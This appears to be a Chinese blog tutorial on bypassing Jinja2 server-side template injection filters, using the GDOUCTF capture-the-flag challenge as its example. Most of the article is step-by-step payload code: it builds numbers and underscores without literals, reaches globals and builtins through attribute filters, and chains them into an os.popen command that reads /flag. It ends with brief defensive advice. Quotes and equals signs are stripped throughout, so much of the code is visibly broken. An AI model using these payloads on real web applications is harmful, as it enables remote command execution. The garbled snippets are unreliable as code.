从零理解SSTI过滤绕过:用Python字符串操作模拟攻击链(以GDOUCTF赛题为例)

张开发
2026/4/19 20:53:02 15 分钟阅读

分享文章

从零理解SSTI过滤绕过:用Python字符串操作模拟攻击链(以GDOUCTF赛题为例)
从零构建SSTI攻击链Python字符串操作的艺术对抗在网络安全攻防演练中服务器端模板注入(SSTI)始终是Web安全领域的重点课题。当CTF竞赛中遇到数字、大括号等关键字符被过滤时攻击链的构建就变成了一场与防御机制斗智斗勇的创意编程挑战。本文将以GDOUCTF赛题为蓝本展示如何仅用基础字符串操作突破过滤限制。1. SSTI攻击的本质与突破路径模板注入漏洞的核心在于攻击者能够控制模板引擎的解析过程。以Flask的Jinja2为例当开发者直接拼接用户输入到模板时{{7*7}}这样的 payload 就能验证漏洞存在。但在真实攻防场景中防御方往往会设置多重过滤# 典型过滤规则示例 blacklist [{, }, [, ], _, , , os, request, eval, exec] [str(i) for i in range(10)]面对这种情况我们需要建立系统的绕过策略字符生成当数字被禁时通过count()等方法动态计算所需数值符号替代用lipsum.__globals__代替__globals__这类常规访问方式字符串拼接分解敏感词为多个部分再组合如dict(oa,sb)|join生成os属性访问利用|attr()替代点号操作符实战提示不同模板引擎的绕过方式差异很大Jinja2的解法在Twig或Smarty中可能完全无效2. 基础构件从零生成关键元素2.1 数字生成工程当直接使用数字被禁止时可以通过字典键名长度统计来生成基础数字{% set zerodict()|join|count %} # 空字典生成0 {% set onedict(a1)|join|count %} # 键长1生成1 {% set twodict(aa1)|join|count %} # 键长2生成2这种方法的数学扩展性极强通过四则运算可以构建任意数字{% set twentyfour(dict(aaaa1)|join|count)*(dict(aaaaaa1)|join|count) %} # 4*6242.2 特殊字符获取技术下划线等关键字符可以通过字符串索引获取。以lipsum函数为例先将其转为字符串列表{% set chars(lipsum|string|list) %}用生成的数字作为索引获取特定字符{% set underscorechars.24 %} # 假设_在第24位更可靠的方法是结合pop方法动态获取{% set popdict(pop1)|join %} {% set underscore(lipsum|string|list)|attr(pop)(24) %}3. 关键对象访问的迂回战术3.1 构建全局访问通道常规的__globals__访问被过滤时可以采用字符串拼接{% set globals_parts(underscore,underscore,globals,underscore,underscore)|join %}然后通过属性访问获取全局对象{% set globals_objlipsum|attr(globals_parts) %}3.2 敏感模块获取技巧获取os模块的典型方法演变直接访问被禁{{ os.popen(id).read() }} # 会被拦截字符串拼接方案{% set os_strdict(oa,sb)|join %} # 生成os {% set os_moduleglobals_obj.get(os_str) %}备用获取路径{% set builtins(underscore,underscore,builtins,underscore,underscore)|join %} {% set os_module(lipsum|attr(globals_parts))|attr(get)(builtins)|attr(get)(__import__)(os) %}4. 完整攻击链的组装艺术4.1 命令执行的组件化构建构造cat /flag命令需要ASCII码转换{% set chr_func(lipsum|attr(globals_parts))|attr(get)(builtins)|attr(get)(chr) %} {% set cmdchr_func(99)%2bchr_func(97)%2bchr_func(116)%2bchr_func(32)%2bchr_func(47)%2bchr_func(102)%2bchr_func(108)%2bchr_func(97)%2bchr_func(103) %}4.2 最终payload的优雅组装将各个组件串联成完整利用链{% set popen_strdict(poa,penb)|join %} {% set read_strdict(reada)|join %} {{ (lipsum|attr(globals_parts)) |attr(get)(os_str) |attr(popen_str)(cmd) |attr(read_str)() }}5. 防御视角的对抗升级理解攻击手法的同时开发者需要建立多层防御输入净化from jinja2 import escape user_input escape(request.args.get(name))沙箱环境env SandboxedEnvironment(autoescapeTrue)上下文隔离template env.from_string(Hello {{ name }}) return template.render(namesafe_user_input)在CTF竞赛中这类题目往往通过逐步限制字符来训练选手的灵活思维。实际开发中更应该从设计源头避免模板注入的风险。

更多文章